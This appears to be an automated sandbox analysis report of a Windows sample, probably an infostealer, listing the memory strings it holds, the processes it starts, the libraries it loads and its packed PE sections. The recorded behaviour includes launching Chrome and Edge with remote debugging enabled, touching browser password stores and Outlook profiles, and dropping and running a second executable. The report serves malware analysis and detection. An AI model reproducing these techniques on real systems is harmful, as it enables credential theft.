Source: file.exe, 00000000.00000002.2705790342.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2688816179.000000000590B000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2706693269.000000006CB9F000.00000002.00000001.01000000.00000009.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: UPDATE %Q.sqlite_master SET tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqliteX_autoindex%%' ESCAPE 'X' AND type='index' THEN 'sqlite_autoindex_' \|\| %Q \|\| substr(name,%d+18) ELSE name END WHERE tbl_name=%Q COLLATE nocase AND (type='table' OR type='index' OR type='trigger');
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL * FROM %s LIMIT 0;
Source: file.exe, 00000000.00000002.2705790342.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2688816179.000000000590B000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2706693269.000000006CB9F000.00000002.00000001.01000000.00000009.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_docsize'(docid INTEGER PRIMARY KEY, size BLOB);
Source: file.exe, 00000000.00000002.2705790342.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2688816179.000000000590B000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2706693269.000000006CB9F000.00000002.00000001.01000000.00000009.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE IF NOT EXISTS %Q.'%q_stat'(id INTEGER PRIMARY KEY, value BLOB);
Source: file.exe, 00000000.00000002.2705790342.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2688816179.000000000590B000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2706693269.000000006CB9F000.00000002.00000001.01000000.00000009.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_segdir'(level INTEGER,idx INTEGER,start_block INTEGER,leaves_end_block INTEGER,end_block INTEGER,root BLOB,PRIMARY KEY(level, idx));
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: UPDATE %s SET %s WHERE id=$ID;
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL * FROM metaData WHERE id=$ID;
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL id FROM %s WHERE %s;
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: INSERT INTO metaData (id,item1) VALUES($ID,$ITEM1);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: INSERT INTO %s (id%s) VALUES($ID%s);
Source: file.exe, file.exe, 00000000.00000002.2705790342.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2688816179.000000000590B000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2706693269.000000006CB9F000.00000002.00000001.01000000.00000009.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: INSERT INTO %Q.sqlite_master VALUES('index',%Q,%Q,#%d,%Q);
Source: file.exe, 00000000.00000002.2705790342.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2688816179.000000000590B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(addr INT,opcode TEXT,p1 INT,p2 INT,p3 INT,p4 TEXT,p5 INT,comment TEXT,subprog TEXT,stmt HIDDEN);
Source: file.exe, 00000000.00000002.2705790342.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2688816179.000000000590B000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2706693269.000000006CB9F000.00000002.00000001.01000000.00000009.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_segments'(blockid INTEGER PRIMARY KEY, block BLOB);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: INSERT INTO metaData (id,item1,item2) VALUES($ID,$ITEM1,$ITEM2);
Source: file.exe, 00000000.00000003.2455813939.00000000057ED000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2321711994.00000000057F9000.00000004.00000020.00020000.00000000.sdmp, HCBGDGCAAKJEBFIDBAAA.0.dr, EGIIIECBGDHJJKFIDAKJ.0.dr	Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));
Source: file.exe, 00000000.00000002.2705790342.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2688816179.000000000590B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE "%w"."%w_parent"(nodeno INTEGER PRIMARY KEY,parentnode);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL * FROM %s LIMIT 0;CREATE TEMPORARY TABLE %s AS SELECT * FROM %sD
Source: file.exe, 00000000.00000002.2705790342.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2688816179.000000000590B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(type TEXT,schema TEXT,name TEXT,wr INT,subprog TEXT,stmt HIDDEN);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT DISTINCT %s FROM %s where id=$ID LIMIT 1;

Source: file.exe

ReversingLabs: Detection: 39%

Source: file.exe

String found in binary or memory: 3Cannot find '%s'. Please, re-install this application

Source: unknown	Process created: C:\Users\user\Desktop\file.exe "C:\Users\user\Desktop\file.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory=""
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2544 --field-trial-handle=2456,i,1902125233543609165,9231231568484545527,262144 /prefetch:8
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory=""
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2116 --field-trial-handle=2144,i,5035712571397325000,14333808649513033406,262144 /prefetch:3
Source: unknown	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory --flag-switches-begin --flag-switches-end --disable-nacl --do-not-de-elevate
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2272 --field-trial-handle=2116,i,13794285038961054582,12018302173444175228,262144 /prefetch:3
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\Documents\KKFBAAFCGI.exe"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\Documents\KKFBAAFCGI.exe "C:\Users\user\Documents\KKFBAAFCGI.exe"
Source: C:\Users\user\Documents\KKFBAAFCGI.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory=""	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory=""	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\Documents\KKFBAAFCGI.exe"	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2544 --field-trial-handle=2456,i,1902125233543609165,9231231568484545527,262144 /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2116 --field-trial-handle=2144,i,5035712571397325000,14333808649513033406,262144 /prefetch:3	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2272 --field-trial-handle=2116,i,13794285038961054582,12018302173444175228,262144 /prefetch:3	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\Documents\KKFBAAFCGI.exe "C:\Users\user\Documents\KKFBAAFCGI.exe"	Jump to behavior
Source: C:\Users\user\Documents\KKFBAAFCGI.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"	Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mozglue.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: msvcp140.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Documents\KKFBAAFCGI.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Documents\KKFBAAFCGI.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Documents\KKFBAAFCGI.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Documents\KKFBAAFCGI.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Documents\KKFBAAFCGI.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Documents\KKFBAAFCGI.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Documents\KKFBAAFCGI.exe	Section loaded: mstask.dll	Jump to behavior
Source: C:\Users\user\Documents\KKFBAAFCGI.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Documents\KKFBAAFCGI.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Documents\KKFBAAFCGI.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\Documents\KKFBAAFCGI.exe	Section loaded: dui70.dll	Jump to behavior
Source: C:\Users\user\Documents\KKFBAAFCGI.exe	Section loaded: duser.dll	Jump to behavior
Source: C:\Users\user\Documents\KKFBAAFCGI.exe	Section loaded: chartv.dll	Jump to behavior
Source: C:\Users\user\Documents\KKFBAAFCGI.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Documents\KKFBAAFCGI.exe	Section loaded: oleacc.dll	Jump to behavior
Source: C:\Users\user\Documents\KKFBAAFCGI.exe	Section loaded: atlthunk.dll	Jump to behavior
Source: C:\Users\user\Documents\KKFBAAFCGI.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\Documents\KKFBAAFCGI.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\Documents\KKFBAAFCGI.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Documents\KKFBAAFCGI.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Documents\KKFBAAFCGI.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Documents\KKFBAAFCGI.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Documents\KKFBAAFCGI.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Documents\KKFBAAFCGI.exe	Section loaded: wtsapi32.dll	Jump to behavior
Source: C:\Users\user\Documents\KKFBAAFCGI.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Users\user\Documents\KKFBAAFCGI.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\Documents\KKFBAAFCGI.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Documents\KKFBAAFCGI.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Documents\KKFBAAFCGI.exe	Section loaded: windows.fileexplorer.common.dll	Jump to behavior
Source: C:\Users\user\Documents\KKFBAAFCGI.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Documents\KKFBAAFCGI.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Documents\KKFBAAFCGI.exe	Section loaded: explorerframe.dll	Jump to behavior
Source: C:\Users\user\Documents\KKFBAAFCGI.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Documents\KKFBAAFCGI.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Documents\KKFBAAFCGI.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Documents\KKFBAAFCGI.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Documents\KKFBAAFCGI.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Documents\KKFBAAFCGI.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Documents\KKFBAAFCGI.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Documents\KKFBAAFCGI.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Documents\KKFBAAFCGI.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Documents\KKFBAAFCGI.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: netutils.dll	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0358b920-0ac7-461f-98f4-58e32cd89148}\InProcServer32

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\13.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001

Jump to behavior

Source: file.exe

Static file information: File size 1824256 > 1048576

Source: file.exe

Static PE information: Raw size of jimnplje is bigger than: 0x100000 < 0x1a3200

Source:	Binary string: mozglue.pdbP source: file.exe, 00000000.00000002.2706321134.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr
Source:	Binary string: freebl3.pdb source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: freebl3.pdbp source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: nss3.pdb@ source: file.exe, 00000000.00000002.2706693269.000000006CB9F000.00000002.00000001.01000000.00000009.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: softokn3.pdb@ source: softokn3[1].dll.0.dr, softokn3.dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\vcruntime140.i386.pdb source: vcruntime140.dll.0.dr, vcruntime140[1].dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\msvcp140.i386.pdb source: msvcp140[1].dll.0.dr, msvcp140.dll.0.dr
Source:	Binary string: nss3.pdb source: file.exe, 00000000.00000002.2706693269.000000006CB9F000.00000002.00000001.01000000.00000009.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: mozglue.pdb source: file.exe, 00000000.00000002.2706321134.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr
Source:	Binary string: softokn3.pdb source: softokn3[1].dll.0.dr, softokn3.dll.0.dr

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\file.exe	Unpacked PE file: 0.2.file.exe.8d0000.0.unpack :EW;.rsrc:W;.idata :W; :EW;jimnplje:EW;tazojzsu:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;jimnplje:EW;tazojzsu:EW;.taggant:EW;
Source: C:\Users\user\Documents\KKFBAAFCGI.exe	Unpacked PE file: 14.2.KKFBAAFCGI.exe.4a0000.0.unpack :EW;.rsrc:W;.idata :W;jkwpbhob:EW;stfuboxc:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W;jkwpbhob:EW;stfuboxc:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 15.2.skotes.exe.e50000.0.unpack :EW;.rsrc:W;.idata :W;jkwpbhob:EW;stfuboxc:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W;jkwpbhob:EW;stfuboxc:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 16.2.skotes.exe.e50000.0.unpack :EW;.rsrc:W;.idata :W;jkwpbhob:EW;stfuboxc:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W;jkwpbhob:EW;stfuboxc:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 17.2.skotes.exe.e50000.0.unpack :EW;.rsrc:W;.idata :W;jkwpbhob:EW;stfuboxc:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W;jkwpbhob:EW;stfuboxc:EW;.taggant:EW;

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C963480 ?ComputeProcessUptime@TimeStamp@mozilla@@CA_KXZ,GetCurrentProcess,GetProcessTimes,LoadLibraryW,GetProcAddress,__Init_thread_footer,__aulldiv,FreeLibrary,GetSystemTimeAsFileTime,

0_2_6C963480

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: KKFBAAFCGI.exe.0.dr	Static PE information: real checksum: 0x317eee should be: 0x31f053
Source: skotes.exe.14.dr	Static PE information: real checksum: 0x317eee should be: 0x31f053
Source: file.exe	Static PE information: real checksum: 0x1c5823 should be: 0x1c8a4d
Source: random[1].exe.0.dr	Static PE information: real checksum: 0x317eee should be: 0x31f053

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: jimnplje
Source: file.exe	Static PE information: section name: tazojzsu
Source: file.exe	Static PE information: section name: .taggant
Source: freebl3.dll.0.dr	Static PE information: section name: .00cfg
Source: freebl3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: mozglue.dll.0.dr	Static PE information: section name: .00cfg
Source: mozglue[1].dll.0.dr	Static PE information: section name: .00cfg
Source: msvcp140.dll.0.dr	Static PE information: section name: .didat
Source: msvcp140[1].dll.0.dr	Static PE information: section name: .didat
Source: nss3.dll.0.dr	Static PE information: section name: .00cfg
Source: nss3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: softokn3.dll.0.dr	Static PE information: section name: .00cfg
Source: softokn3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: random[1].exe.0.dr	Static PE information: section name:
Source: random[1].exe.0.dr	Static PE information: section name: .idata
Source: random[1].exe.0.dr	Static PE information: section name: jkwpbhob
Source: random[1].exe.0.dr	Static PE information: section name: stfuboxc
Source: random[1].exe.0.dr	Static PE information: section name: .taggant
Source: KKFBAAFCGI.exe.0.dr	Static PE information: section name:
